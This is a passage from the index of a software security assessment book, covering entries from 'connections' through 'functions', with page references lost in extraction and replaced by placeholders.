connection points, objects(? [????.]) 

connections 

     RPCs (Remote Procedure Calls)(? [????.]) 

     TCP (Transmission Control Protocol)(? [????.]) 2nd(? [????.]) 

         blind connection spoofing(? [????.]) 

         connection tampering(? [????.]) 

         establishing(? [????.]) 

         fabrication(? [????.]) 

         flags(? [????.]) 

         resetting(? [????.]) 

         states(? [????.]) 

ConnectNamedPipe( ) function(? [????.]) 

constraint establishment, test cases, code audits(? [????.]) 

Content-Encoding header field (HTTP)(? [????.]) 

Content-Language header field (HTTP)(? [????.]) 

Content-Length header field (HTTP)(? [????.]) 

Content-Location header field (HTTP)(? [????.]) 

Content-MD5 header field (HTTP)(? [????.]) 

Content-Range header field (HTTP)(? [????.]) 

Content-Transfer-Encoding header field (HTTP)(? [????.]) 

Content-Type header field (HTTP)(? [????.]) 
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CONTENT_LENGTH (environment variable)(? [????.]) 

CONTENT_TYPE (environment variable)(? [????.]) 

context handles, RPCs (Remote Procedure Calls)(? [????.]) 

contexts, Windows NT sessions, access tokens(? [????.]) 

control flow, auditing(? [????.]) 

     flow transfer statements(? [????.]) 

     looping constructs(? [????.]) 

     switch statements(? [????.]) 

control-flow sensitive coide navigation(? [????.]) 

Controller component (MVC)(? [????.]) 

controlling terminals, UNIX(? [????.]) 

conversion rules, type conversions, C programming language(? [????.]) 

ConvertSidToStringSid( ) function(? [????.]) 

ConvertStringSidToSid( ) function(? [????.]) 

cookies(? [????.]) 

     stack cookies(? [????.]) 

COPY method(? [????.]) 

core files(? [????.]) 

CoRegisterClassObject( ) function(? [????.]) 

Correct Use of GetFullPathName( ) listing (8-13)(? [????.]) 

corruption (memory)(? [????.]) 

     buffer overflows(? [????.]) 

         global overflows(? [????.]) 

         heap overflows(? [????.]) 

         off-by-one errors(? [????.]) 

         process memory layout(? [????.]) 

         SHE (structured exception handling) attacks(? [????.]) 

         stack overflows(? [????.]) 

         static overflows(? [????.]) 

     protection mechanisms(? [????.]) 

         ASLR (address space layout randomization)(? [????.]) 

         assessing(? [????.]) 

         function pointer obfuscation(? [????.]) 

         heap hardening(? [????.]) 

         nonexecutable stack(? [????.]) 

         SafeSEH(? [????.]) 

         stack cookies(? [????.]) 

     shellcode(? [????.]) 

Cost header field (HTTP)(? [????.]) 

counter (CTR) mode cipher(? [????.]) 

CP (candidate point), code audits(? [????.]) 2nd(? [????.]) 

     application-specific CPs(? [????.]) 

     automated source analysis tools(? [????.]) 

     black box generated CPs(? [????.]) 
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     general approach(? [????.]) 

     simple binary CPs(? [????.]) 

     simple lexical CPs(? [????.]) 

crackaddr( ) function(? [????.]) 

CRC (cyclic redundancy check) routines(? [????.]) 

Create*( ) functions(? [????.]) 

CreateEvent( ) function(? [????.]) 

CreateFile( ) function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 4th(? [????.]) 5th(? [????.]) 6th(? 

[????.]) 

CreateHardLink( ) function(? [????.]) 

CreateMutex( ) function(? [????.]) 2nd(? [????.]) 

CreateNamedPipe( ) function(? [????.]) 2nd(? [????.]) 

CreateNewKey( ) function(? [????.]) 

CreatePrivateNamespace( ) function(? [????.]) 

CreateProcess( ) function(? [????.]) 2nd(? [????.]) 

CreateRestrictedToken( ) function(? [????.]) 

CreateSemaphore( ) function(? [????.]) 

CreateWaitableTimer( ) function(? [????.]) 

credentials, authorization, untrustworthy credentials(? [????.]) 

critical sections, Windows API(? [????.]) 

cross-site scripting 

     ASP(? [????.]) 

     ASP.NET(? [????.]) 

     Java servlets(? [????.]) 

     Perl(? [????.]) 

     PHP(? [????.]) 

     XSS(? [????.]) 

cryogenic sleep attacks(? [????.]) 

crypto subsystem, SSH server, code audits(? [????.]) 

CRYPTO_realloc_clean( ) function(? [????.]) 

cryptographic hash functions(? [????.]) 

cryptographic signatures(? [????.]) 

cryptography(? [????.]) 

     cryptographic data integrity(? [????.]) 

         cryptographic signatures(? [????.]) 

         hash functions(? [????.]) 

         originator validation(? [????.]) 

         salt values(? [????.]) 

    encryption 

         algorithms(? [????.]) 

         block ciphers(? [????.]) 

         common vunerabilities(? [????.]) 

         exchange algorithms(? [????.]) 

         IV (initialization vector)(? [????.]) 
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         stream ciphers(? [????.]) 

Cscope source code navigator(? [????.]) 

Ctags source code navigator(? [????.]) 

CTR (counter) mode cipher(? [????.]) 

Cutler, David(? [????.]) 

cyclic redundancy check (CRC) routines(? [????.]) 

10.5 D 

Index 

 

[SYMBOL(? [????.])] [A(? [????.])] [B(? [????.])] [C(? [????.])] [D(? [????.])] [E(? [????.])] [F(? 

[????.])] [G(? [????.])] [H(? [????.])] [I(? [????.])] [J(? [????.])] [K(? [????.])] [L(? [????.])] [M(? 

[????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? 

[????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])]  

 

DACL (discretionary access control list)(? [????.]) 

daemons, UNIX(? [????.]) 

Dangerous Data Type Use listing (7-41)(? [????.]) 

Dangerous Use of IsDBCSLeadByte( ) listing (8-30)(? [????.]) 

Dangerous Use of strncpy( ) listing (8-2)(? [????.]) 

data assumptions, ACC logs(? [????.]) 

data buffers, OpenSSH, vunerabilities(? [????.]) 

data flow diagrams (DFDs)(? [????.]) 

data flow, vunerabilities(? [????.]) 

data hiding(? [????.]) 

data integrity(? [????.]) 

     cryptographic signature(? [????.]) 

     hash functions(? [????.]) 

     originator validation(? [????.]) 

     salt values(? [????.]) 

data link layer, network segmentation(? [????.]) 

data ranges, lists(? [????.]) 2nd(? [????.]) 

data storage, C programming language(? [????.]) 

data tier (Web applications)(? [????.]) 

Data Truncation Vulnerability 2 listing (8-12)(? [????.]) 

Data Truncation Vulnerability listing (8-11)(? [????.]) 

data types, application protocols, matching(? [????.]) 

data verification, application protocols(? [????.]) 

data-flow sensitivee code navigation(? [????.]) 

data_xfer( ) function(? [????.]) 

datagrams, IP datagrams(? [????.]) 

Date header field (HTTP)(? [????.]) 
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DCE (Distirbuted Computing Environment) RPCs(? [????.]) 2nd(? [????.]) 

DCE (Distributed Computing Environment) RPCs(? [????.]) 2nd(? [????.]) 

DCOM (Distributed Component Object Model)(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

     access controls(? [????.]) 

     Active X security(? [????.]) 

     application audits(? [????.]) 

     application identity(? [????.]) 

     application registration(? [????.]) 

     ATL (Active Template Library)(? [????.]) 

     automation objects, fuzz testing(? [????.]) 

     DCOM Configuration utility(? [????.]) 

     impersonation(? [????.]) 

     interface audits(? [????.]) 

     MIDL (Microsoft Interface Definition Language)(? [????.]) 

     subsystem access permissions(? [????.]) 

DCOM Configuration utility(? [????.]) 

DDE (Dynamic Data Exchange)(? [????.]) 

     Windows messaging(? [????.]) 

DDE Management Library (DDEML) API(? [????.]) 

de Weger, Benne(? [????.]) 

deadlocks 

     concurrent programming(? [????.]) 2nd(? [????.]) 

     threading(? [????.]) 

debuggers, code auditing(? [????.]) 

DecodePointer( ) function(? [????.]) 

DecodeSystemPointer( ) function(? [????.]) 

Decoding Incorrect Byte Values listing (8-28)(? [????.]) 

decoding routines, RPCs (Remote Procedure Calls), UNIX(? [????.]) 

decoding, Unicode(? [????.]) 

decomposition, software design(? [????.]) 

default argument promotions(? [????.]) 2nd(? [????.]) 

default settings, insecure defaults(? [????.]) 

default site installations, Web-based applications(? [????.]) 

Default Switch Case Omission Vulnerability listing (7-24)(? [????.]) 

default type conversions(? [????.]) 

defense in depth(? [????.]) 

definition files, RPCs (Remote Procedure Calls), UNIX(? [????.]) 

DELETE method(? [????.]) 

delete payloads, ISAKMP (Internet Security Association and Key Management Protocol)(? [????.]) 

delete_session( ) function(? [????.]) 

Delivering Signals for Fun and Profitî(? [????.]) 

demilitarized zones (DMZs)(? [????.]) 

denial-of-service (DoS) attacks [See DoS (denial-of-service) attacks(? [????.]).] 

dependency alnalysis, code audits(? [????.]) 
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DER (Distinguished Encoding Rules), ASN.1 (Abstract Syntax Notation)(? [????.]) 

Derived-From header field (HTTP)(? [????.]) 

descriptors, UNIX files(? [????.]) 

design 

     SDLC (Systems Development Life Cycle)(? [????.]) 

     software(? [????.]) 

         abstraction(? [????.]) 

         accuracy(? [????.]) 

         algorithms(? [????.]) 

         clarity(? [????.]) 

         decomposition(? [????.]) 

         failure handling(? [????.]) 

         loose coupling(? [????.]) 

         strong cohesion(? [????.]) 

         strong coupling exploitation(? [????.]) 

         threat modeling(? [????.]) 

         transitive trust exploitation(? [????.]) 

         trust relationships(? [????.]) 

         vunerabilities(? [????.]) 

design conformity checks, DG (design generalization) strategy(? [????.]) 

desk checking, code audits(? [????.]) 

desktop object, IPC (interprocess communications)(? [????.]) 

Detect_attack Small Packet Algorithm in SSH listing (6-18)(? [????.]) 

Detect_attack Truncation Vulnerability in SSH listing (6-19)(? [????.]) 

developer documentation, reviewing(? [????.]) 

developers, interviewing(? [????.]) 

development protective measures, operational vulnerabilities(? [????.]) 

     ASLR (address space layout randomization)(? [????.]) 

     heap protection(? [????.]) 

     nonexecutable stacks(? [????.]) 

     registered function pointers(? [????.]) 

     stack protection(? [????.]) 

     VMs (virtual machines)(? [????.]) 

device files 

     UNIX(? [????.]) 

     Windows NT(? [????.]) 

DeviceIoControl( ) function(? [????.]) 

DFDs (data flow diagrams)(? [????.]) 

DG (design generalization) strategies, code audits(? [????.]) 2nd(? [????.]) 

     design conformity check(? [????.]) 

     hypothesis testing(? [????.]) 

     system models(? [????.]) 

Different Behavior of vsnprintf( ) on Windows and UNIX listing (8-1)(? [????.]) 

Digital Encryption Standard (DES) encryption(? [????.]) 
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Digital Equipment Corporation (DEC) Virtual Memory System (VMS)(? [????.]) 

dilimiters 

     embedded delimiters, metacharacters(? [????.]) 

     extraneous dilimiters(? [????.]) 

direct program invocation, UNIX(? [????.]) 

directionality, stateful firewalls(? [????.]) 

directories, UNIX(? [????.]) 2nd(? [????.]) 

     creating(? [????.]) 

     entries(? [????.]) 

     Filesystem Hierarchy Standard(? [????.]) 

     mount points(? [????.]) 

     parent directories(? [????.]) 

     permissions(? [????.]) 

     public directories(? [????.]) 

     race conditions(? [????.]) 

     root directories(? [????.]) 

     safety(? [????.]) 

     working directories(? [????.]) 

directory cleaners, UNIX temporary files(? [????.]) 

directory indexing, Web servers(? [????.]) 

Directory Traversal Vulnerability listing (8-15)(? [????.]) 

discretionary access control list (DACL)(? [????.]) 

Distributed Component Object Model (DCOM) [See DCOM (Distributed Component Object 

Model)(? [????.]).] 

Division Vulnerability Example listing (6-27)(? [????.]) 

DllGetClassObject( ) function(? [????.]) 

DLLs (dynamic link libraries)(? [????.]) 

     loading(? [????.]) 

     redirection(? [????.]) 

dlopen( ) function(? [????.]) 

DMZs (demilitarized zones)(? [????.]) 

DNS (Domain Name System)(? [????.]) 2nd(? [????.]) 

     headers(? [????.]) 

     length variables(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

     name servers(? [????.]) 

     names(? [????.]) 

     packets(? [????.]) 

     question structure(? [????.]) 

     request traffic(? [????.]) 

     resource records(? [????.]) 2nd(? [????.]) 

         conventions(? [????.]) 

     spoofing(? [????.]) 

     zones(? [????.]) 

do_cleanup( ) function(? [????.]) 
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do_ip( ) function(? [????.]) 

do_mremap( ) function(? [????.]) 

documentation 

     application protocols, collecting(? [????.]) 

     threat modeling(? [????.]) 

documentation phase, code review(? [????.]) 2nd(? [????.]) 

     findings summary(? [????.]) 

domain name caches(? [????.]) 

Domain Name System (DNS) [See DNS (Domain Name System)(? [????.]).] 

domain names(? [????.]) 

domain sockets, UNIX(? [????.]) 2nd(? [????.]) 

domains(? [????.]) 

     error domains(? [????.]) 

DoS (denial-of-service) attacks(? [????.]) 

     name validation(? [????.]) 

DOS 8.3 filenames(? [????.]) 

Double-Free Vulnerability in OpenSSL listing (7-46)(? [????.]) 

Double-Free Vulnerability listing (7-45)(? [????.]) 

double-frees, auditing(? [????.]) 

doubly linked lists(? [????.]) 

Dowd, Mark(? [????.]) 2nd(? [????.]) 

Dragomirescu, Razvan(? [????.]) 

DREAD risk ratings(? [????.]) 

Dubee, Nicholas(? [????.]) 

duplicate elements, lists(? [????.]) 

dynamic content(? [????.]) 

Dynamic Data Exchange (DDE) [See DDE (Dynamic Data Exchange)(? [????.]).] 

dynamic link libraries (DLLs) [See DLLs (dynamic link libraries)(? [????.]).] 

10.6 E 
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EBP (extended base pointer)(? [????.]) 

edit( ) function(? [????.]) 

EDITOR environment variable (UNIX)(? [????.]) 

effective groups, UNIX(? [????.]) 2nd(? [????.]) 

effective users, UNIX(? [????.]) 2nd(? [????.]) 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 1159 

EH (exception handling)(? [????.]) 

Einstein, Albert(? [????.]) 

elements, lists, duplicate elements(? [????.]) 

Embedded Delimiter Example listing (8-8)(? [????.]) 

embedded delimiters, metacharacters(? [????.]) 

embedded path information (HTTP)(? [????.]) 

embedding state in HTML and URLs(? [????.]) 

Empty List Vulnerabilities listing (7-12)(? [????.]) 

empty lists, vunerabilities(? [????.]) 

encapsulation, packets(? [????.]) 

EncodePointer( ) function(? [????.]) 

EncodeSystemPointer( ) function(? [????.]) 

encoding 

     entities(? [????.]) 

     HTML encoding(? [????.]) 

     multiple encoding layers(? [????.]) 

     parameters(? [????.]) 

     UTF-16 encoding(? [????.]) 

     UTF-8 encoding(? [????.]) 

     XML encoding(? [????.]) 

encryption(? [????.]) 2nd(? [????.]) 

     algorithms(? [????.]) 

     asymmetric encryption(? [????.]) 

     block ciphers(? [????.]) 

     common vunerabilities(? [????.]) 

     Digital Encryption Standard (DES) encryption(? [????.]) 

     ISAKMP (Internet Security Association and Key Management Protocol), vunerabilities(? [????.]) 

     IV (initialization vector)(? [????.]) 

     key exchange algorithms(? [????.]) 

     stream ciphers(? [????.]) 

     symmetric encryption(? [????.]) 

end user license agreements (EULAs)(? [????.]) 

endpoint mappers(? [????.]) 

endpoints, RPC servers, binding to(? [????.]) 

enforcing policies(? [????.]) 

enhanced kernel protections(? [????.]) 

enterprise firewalls, layer 7 inspection(? [????.]) 

entities (encoded data)(? [????.]) 

entries, UNIX directories(? [????.]) 

entry points(? [????.]) 

ENV environment variable (UNIX)(? [????.]) 

environment arrays, UNIX file descriptors(? [????.]) 

environment strings, Linux(? [????.]) 

environment subsystems(? [????.]) 
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environment variables(? [????.]) 

     PATH_INFO(? [????.]) 

     UNIX(? [????.]) 

environmental attacks(? [????.]) 

equality operators(? [????.]) 

err( ) function(? [????.]) 

error checking branches, code paths(? [????.]) 

error domains(? [????.]) 

error messages, overly verbose error messages, Web-based applications(? [????.]) 

errors 

     lists, pointer updates(? [????.]) 

     loops(? [????.]) 

escape_sql( ) function(? [????.]) 

escaping metacharacters(? [????.]) 

ESP (extended stack pointer)(? [????.]) 

Esser, Stefan(? [????.]) 

establishing TCP connections(? [????.]) 

ETag header field (HTTP)(? [????.]) 

/etc directory (UNIX)(? [????.]) 

EULAs (end user license agreements)(? [????.]) 

eval( ) function 

     Perl(? [????.]) 

     PHP(? [????.]) 

evasion, metacharacter evasion(? [????.]) 

event objects, Windows NT(? [????.]) 

Example of Bad Counting with Structure Padding listing (6-34)(? [????.]) 

Example of Dangerous Program Use listing (8-19)(? [????.]) 

Example of Structure Padding Double Free listing (6-33)(? [????.]) 

exception handling (EH), C++(? [????.]) 

exceptional conditions(? [????.]) 

execl( ) function(? [????.]) 

Execute( ) function, ASP(? [????.]) 

execve( ) function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 4th(? [????.]) 

ExpandEnvironmentStrings( ) function(? [????.]) 

Expect header field (HTTP)(? [????.]) 

expectations, security(? [????.]) 

Expert C Programming(? [????.]) 

Expires header field (HTTP)(? [????.]) 

explicit allow filters (white lists), metacharacters(? [????.]) 

explicit deny filters (black lists), metacharacters(? [????.]) 

explicit type conversions(? [????.]) 

Exploiting Software(? [????.]) 

exploiting transitive trusts(? [????.]) 

export function tables(? [????.]) 
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extended base pointer (EBP)(? [????.]) 

extended stack pointer (ESP)(? [????.]) 

Extensible Stylesheet Language Transformations (XSLT)(? [????.]) 2nd(? [????.]) 

extensions, UNIX privileges(? [????.]) 

external application invocation, OpenSSH(? [????.]) 

external entities(? [????.]) 

external flow sensitivity, code navigation(? [????.]) 

external trust levels(? [????.]) 

external trusted sources, spoofing attacks, firewalls(? [????.]) 

extraneaous dilimiters(? [????.]) 

extraneous filename characters, Windows NT(? [????.]) 

extraneous input thinning, test cases, code audits(? [????.]) 

10.7 F 
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[????.])] [N(? [????.])] [O(? [????.])] [P(? [????.])] [Q(? [????.])] [R(? [????.])] [S(? [????.])] [T(? 

[????.])] [U(? [????.])] [V(? [????.])] [W(? [????.])] [X(? [????.])] [Y(? [????.])] [Z(? [????.])]  

 

failure handling(? [????.]) 

fastcalls(? [????.]) 

fclose( ) function(? [????.]) 

fcntl( ) function(? [????.]) 

feasibility studies (SDLC)(? [????.]) 

Feng, Dengguo(? [????.]) 

Ferguson, Niels(? [????.]) 

fgets( ) function(? [????.]) 2nd(? [????.]) 

fields, hidden fields, auditing(? [????.]) 

FIFOs, UNIX(? [????.]) 

file access 

     ASP(? [????.]) 

     ASP.NET(? [????.]) 

     Java servlets(? [????.]) 

     Perl(? [????.]) 

     PHP(? [????.]) 

file canonicalization, path metacharacters(? [????.]) 

file descriptors(? [????.]) 

     UNIX(? [????.]) 

file handlers(? [????.]) 

File I/O API, Windows NT(? [????.]) 
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file inclusion 

     ASP(? [????.]) 

     ASP.NET(? [????.]) 

     Java servlets(? [????.]) 

     Perl(? [????.]) 

     PHP(? [????.]) 

file paths, truncation(? [????.]) 

file squatting, Windows NT(? [????.]) 

file streams, Windows NT(? [????.]) 

file system IDs, Linux(? [????.]) 

file system layout(? [????.]) 

file systems 

     OS interaction(? [????.]) 

         execution(? [????.]) 

         file uploading(? [????.]) 

         null bytes(? [????.]) 

         path traversal(? [????.]) 

         programmatic SSI(? [????.]) 

     permissions(? [????.]) 

File Transfer Protocol (FTP) [See FTP (File Transfer Protocol)(? [????.]).] 

file types, Windows NT(? [????.]) 

filenames, UNIX(? [????.]) 

files 

     change monitoring(? [????.]) 

     closing, stdio system(? [????.]) 

     core files(? [????.]) 

     opening, stdio system(? [????.]) 

     reading, stdio system(? [????.]) 2nd(? [????.]) 

     umask(? [????.]) 

     UNIX(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

         boot files(? [????.]) 

         creating(? [????.]) 

         descriptors(? [????.]) 

         device files(? [????.]) 

         directories(? [????.]) 

         filenames(? [????.]) 

         IDs(? [????.]) 

         inodes(? [????.]) 

         kernel files(? [????.]) 

         libraries(? [????.]) 

         links(? [????.]) 2nd(? [????.]) 

         log files(? [????.]) 

         named pipes(? [????.]) 

         pathnames(? [????.]) 
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         paths(? [????.]) 

         permissions(? [????.]) 

         personal user files(? [????.]) 

         proc file system(? [????.]) 

         program configuration files(? [????.]) 

         program files(? [????.]) 

         race conditions(? [????.]) 

         security(? [????.]) 

         sharing(? [????.]) 

         stdio file interface(? [????.]) 

         system configuration files(? [????.]) 

         temporary files(? [????.]) 

     uploading, security(? [????.]) 

     Windows NT(? [????.]) 

         canonicalization(? [????.]) 

         case sensitivity(? [????.]) 

         device files(? [????.]) 

         DOS 8.3 filenames(? [????.]) 

         extraneous filename characters(? [????.]) 

         File I/O API(? [????.]) 

         file open audits(? [????.]) 

         file squatting(? [????.]) 

         file streams(? [????.]) 

         file types(? [????.]) 

         links(? [????.]) 

         permissions(? [????.]) 

     writing to, stdio system(? [????.]) 

Filesystem Hierarchy Standard, UNIX(? [????.]) 

filtering metacharacters(? [????.]) 

     character stripping vunerabilities(? [????.]) 

     escaping metacharacters(? [????.]) 

     insufficient filtering(? [????.]) 

     metacharacter evasion(? [????.]) 

filters 

     explicit allow filters (white lists), metacharacters(? [????.]) 

     explicit deny filters (black lists), metacharacters(? [????.]) 

Finding Return Values listing (7-27)(? [????.]) 

findings summaries, application review(? [????.]) 

firewalls(? [????.]) 2nd(? [????.]) 

     attack surfaces(? [????.]) 

     host-based firewalls(? [????.]) 

     layer 7 inspection(? [????.]) 

     packet-filtering firewalls(? [????.]) 

     proxy firewalls(? [????.]) 
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     spoofing attacks(? [????.]) 2nd(? [????.]) 

         close spoofing(? [????.]) 

         distant spoofing(? [????.]) 

         encapsulation(? [????.]) 

         source routing(? [????.]) 

     stateful firewalls(? [????.]) 

         directionality(? [????.]) 

         fragmentation(? [????.]) 

         stateful inspection firewalls(? [????.]) 

         TCP (Transport Control Protocol)(? [????.]) 

         UDP (User Datagram Protocol)(? [????.]) 

     stateless firewalls(? [????.]) 

         fragmentation(? [????.]) 

         FTP (File Transfer Protocol)(? [????.]) 

         TCP (Transmission Control Protocol)(? [????.]) 

         UDP (User Datagram Protocol)(? [????.]) 

flags 

     ACEs(? [????.]) 

     TCP connections(? [????.]) 

     URG flags, TCP (Transmission Control Protocol)(? [????.]) 

floating points, conversions(? [????.]) 

floating types, C programming language(? [????.]) 

floats(? [????.]) 

flow analysis(? [????.]) 

flow transfer statements, auditing(? [????.]) 

flow, control flow, auditing(? [????.]) 

fopen( ) function(? [????.]) 

fork( ) function(? [????.]) 2nd(? [????.]) 

format specifiers(? [????.]) 

Format String Vulnerability in a Logging Routine listing (8-17)(? [????.]) 

Format String Vulnerability in WU-FTPD listing (8-16)(? [????.]) 

format strings(? [????.]) 

formats, metacharacters(? [????.]) 

     format strings(? [????.]) 

     path metacharacters(? [????.]) 

     Perl open( ) function(? [????.]) 

     shell metacharacters(? [????.]) 

     SQL queries(? [????.]) 

forms (HTTP)(? [????.]) 

forward( ) method, Java servlets(? [????.]) 

forward-tracing code(? [????.]) 

fprintf( ) function(? [????.]) 

fragmentation 

     IP (Internet Protocol)(? [????.]) 
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         overlapping fragments(? [????.]) 

         pathological fragment sets(? [????.]) 

         processing(? [????.]) 

     stateful firewalls(? [????.]) 

     stateless firewalls(? [????.]) 

     zero-length fragments(? [????.]) 

Frasunek, Przemyslaw(? [????.]) 

fread( ) function(? [????.]) 2nd(? [????.]) 

free( ) function(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

FreeBSD(? [????.]) 

     privileges, dropping temporarily(? [????.]) 

From header field (HTTP)(? [????.]) 

fscanf( ) function(? [????.]) 

fstat( ) function(? [????.]) 

ftok( ) function(? [????.]) 

FTP (File Transfer Protocol)(? [????.]) 2nd(? [????.]) 

     active FTP(? [????.]) 

     passive FTP(? [????.]) 

     stateless firewalls(? [????.]) 

fully functional resolvers (DNS)(? [????.]) 

function pointers 

     obfuscation(? [????.]) 

     registration of(? [????.]) 

Function Prologue listing (5-1)(? [????.]) 

function prototypes, C programming language, type conversions(? [????.]) 

function_A( ) function(? [????.]) 

function_B( )(? [????.]) 

function_B( ) function(? [????.]) 

functions 

     _wsprintfW( )(? [????.]) 

     _xlate_ascii_write( )(? [????.]) 

     access( )(? [????.]) 

     AdjustTokenGroups( )(? [????.]) 

     AdjustTokenPrivileges( )(? [????.]) 

     alloc( )(? [????.]) 

     allocation functions, auditing(? [????.]) 

     apr_palloc( )(? [????.]) 

     auditing(? [????.]) 

         argument meaning(? [????.]) 

         audit logs(? [????.]) 

         return value testing(? [????.]) 

         side-effects(? [????.]) 

     authenticate( )(? [????.]) 

     bounded string functions(? [????.]) 2nd(? [????.]) 
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     BUF-MEM_grow( ) function(? [????.]) 

     calling conventions(? [????.]) 

     checkForAnotherInstance( )(? [????.]) 

     cleanup( )(? [????.]) 

     cleanup_exit( )(? [????.]) 

     close( )(? [????.]) 

     CloseHandle( )(? [????.]) 

     CoInitializeEx( )(? [????.]) 

     collecttimeout( )(? [????.]) 

     ConnectNamedPipe( )(? [????.]) 

     ConvertSidToStringSid( )(? [????.]) 

     ConvertStringSidToSid( )(? [????.]) 

     CoRegisterClassObject( )(? [????.]) 

     crackaddr( )(? [????.]) 

     Create*( )(? [????.]) 

     CreateEvent( )(? [????.]) 

     CreateFile( )(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 4th(? [????.]) 5th(? [????.]) 6th(? [????.]) 

     CreateHardLink( )(? [????.]) 

     CreateMutex( )(? [????.]) 2nd(? [????.]) 

     CreateNamedPipe( )(? [????.]) 2nd(? [????.]) 

     CreateNewKey( )(? [????.]) 

     CreatePrivateNamespace( )(? [????.]) 

     CreateProcess( )(? [????.]) 2nd(? [????.]) 

     CreateRestrictedToken( )(? [????.]) 

     CreateSemaphore( )(? [????.]) 

     CreateWaitableTimer( )(? [????.]) 

     CRYPTO_realloc_clean( )(? [????.]) 

     data_xfer( )(? [????.]) 

     DecodePointer( )(? [????.]) 

     DecodeSystemPointer( )(? [????.]) 

     delete_session( )(? [????.]) 

     DeviceIoControl( )(? [????.]) 

     DllGetClassObject( )(? [????.]) 

     dlopen( )(? [????.]) 

     do_cleanup( )(? [????.]) 

     do_ip( )(? [????.]) 

     do_mremap( )(? [????.]) 

     edit( )(? [????.]) 

     EncodePointer( )(? [????.]) 

     EncodeSystemPointer( )(? [????.]) 

     err( )(? [????.]) 

     escape_sql( )(? [????.]) 

     execl( )(? [????.]) 

     execve( )(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 4th(? [????.]) 
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     ExpandEnvironmentStrings( )(? [????.]) 

     fclose( )(? [????.]) 

     fcntl( )(? [????.]) 

     fgets( )(? [????.]) 2nd(? [????.]) 

     fopen( )(? [????.]) 

     fork( )(? [????.]) 2nd(? [????.]) 

     fprintf( )(? [????.]) 

     fread( )(? [????.]) 2nd(? [????.]) 

     free( )(? [????.]) 2nd(? [????.]) 3rd(? [????.]) 

     fscanf( )(? [????.]) 

     fstat( )(? [????.]) 

     ftok( )(? [????.]) 

     function_A( )(? [????.]) 

     function_B( )(? [????.]) 

     get_mac( )(? [????.]) 

     get_string_from_network( )(? [????.]) 

     get_user( )(? [????.]) 

     GetCurrentProcess( )(? [????.]) 

     GetFullPathName( )(? [????.]) 

     GetLastError( )(? [????.]) 2nd(? [????.]) 

     GetMachineName( )(? [????.]) 

     getrlimit( )(? [????.]) 

     ImpersonateNamedPipe( )(? [????.]) 

     initgroups( )(? [????.]) 

     initialize_ipc( )(? [????.]) 

     initJobThreads( )(? [????.]) 

     input_userauth_info_response( )(? [????.]) 

     invocations, C programming language(? [????.]) 

     IsDBCSLeadByte( )(? [????.]) 

     kill( )(? [????.]) 

     list_add( )(? [????.]) 

     list_init( )(? [????.]) 

     longjump( )(? [????.]) 

     lreply( )(? [????.]) 

     lstat( )(? [????.]) 

     make_table( )(? [????.]) 

     malloc( )(? [????.]) 2nd(? [????.]) 

     memset( )(? [????.]) 

     mkdtemp( )(? [????.]) 

     mkstemp( )(? [????.]) 

     mktemp( )(? [????.]) 2nd(? [????.]) 

     MultiByteToWideChar( )(? [????.]) 2nd(? [????.]) 

     my_malloc( )(? [????.]) 

     NtQuerySystemInformation( )(? [????.]) 
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     open( )(? [????.]) 2nd(? [????.]) 

     OpenFile( )(? [????.]) 

     OpenMutex( )(? [????.]) 

     OpenPrivateNamespace( )(? [????.]) 

     OpenProcess( )(? [????.]) 

     parent functions, vunerabilities(? [????.]) 

     parse_rrecord( )(? [????.]) 

     php_error_docref( )(? [????.]) 

     pipe( )(? [????.]) 

     pop( )(? [????.]) 

     popen( )(? [????.]) 2nd(? [????.]) 

     prescan( )(? [????.]) 2nd(? [????.]) 

     printf( )(? [????.]) 2nd(? [????.]) 

     process_file( )(? [????.]) 

     process_login( )(? [????.]) 

     process_string( )(? [????.]) 

     process_tcp_packet( )(? [????.]) 

     process_token_string( )(? [????.]) 

     processJob( )(? [????.]) 

     processNetwork( )(? [????.]) 

     processThread( )(? [????.]) 

     push( )(? [????.]) 

     putenv( )(? [????.]) 

     pw_lock( )(? [????.]) 

     QueryInterface( )(? [????.]) 

     read( )(? [????.]) 

     read_data( )(? [????.]) 

     read_line( )(? [????.]) 

     realloc( )(? [????.]) 

     reentrancy(? [????.]) 

     RegCloseKey( )(? [????.]) 

     RegCreateKey( )(? [????.]) 

     RegCreateKeyEx( )(? [????.]) 2nd(? [????.]) 

     RegDeleteKey( )(? [????.]) 

     RegDeleteKeyEx( )(? [????.]) 

     RegDeleteValue( )(? [????.]) 

     RegOpenKey( )(? [????.]) 

     RegOpenKeyEx( )(? [????.]) 

     RegQueryValue( )(? [????.]) 

     RegQueryValueEx( )(? [????.]) 

     retrieve_data( )(? [????.]) 

    return values 

         finding(? [????.]) 

         ignoring(? [????.]) 
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         misinterpreting(? [????.]) 

     rfork( )(? [????.]) 

     RpcBindingInqAuthClient( )(? [????.]) 

     RpcServerListen( )(? [????.]) 

     RpcServerRegisterAuthInfo( )(? [????.]) 

     RpcServerRegisterIf( )(? [????.]) 

     RpcServerRegisterIfEx( )(? [????.]) 

     RpcServerUseProtseq( )(? [????.]) 

     RpcServerUseProtseqEx( )(? [????.]) 

     SAPI_POST_READER_FUNC( )(? [????.]) 

     scanf( )(? [????.]) 

     search_orders( )(? [????.]) 

     semget( )(? [????.]) 

     setegid( )(? [????.]) 

     setenv( )(? [????.]) 2nd(? [????.]) 

     seteuid( )(? [????.]) 

     setgid( )(? [????.]) 

     setgroups( )(? [????.]) 

     setjump( )(? [????.]) 

     setregid( )(? [????.]) 

     setresgid( )(? [????.]) 

     setresuid( )(? [????.]) 

     setreuid( )(? [????.]) 

     setrlimit( )(? [????.]) 

     SetThreadToken( )(? [????.]) 

     setuid( )(? [????.]) 2nd(? [????.]) 

     ShellExecute( )(? [????.]) 

     ShellExecuteEx( )(? [????.]) 

    side-effects 

         referentially opaque side effects(? [????.]) 

         referentially transparent side effects(? [????.]) 

     siglongjump( )(? [????.]) 

     signal( )(? [????.]) 2nd(? [????.]) 

     sigsetjump( )(? [????.]) 

